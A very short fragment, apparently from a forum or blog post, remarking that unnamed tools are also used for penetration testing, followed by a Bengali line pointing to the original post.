These tools are also used for white hacking(penetesting).

মুল পোস্টঃ এখানে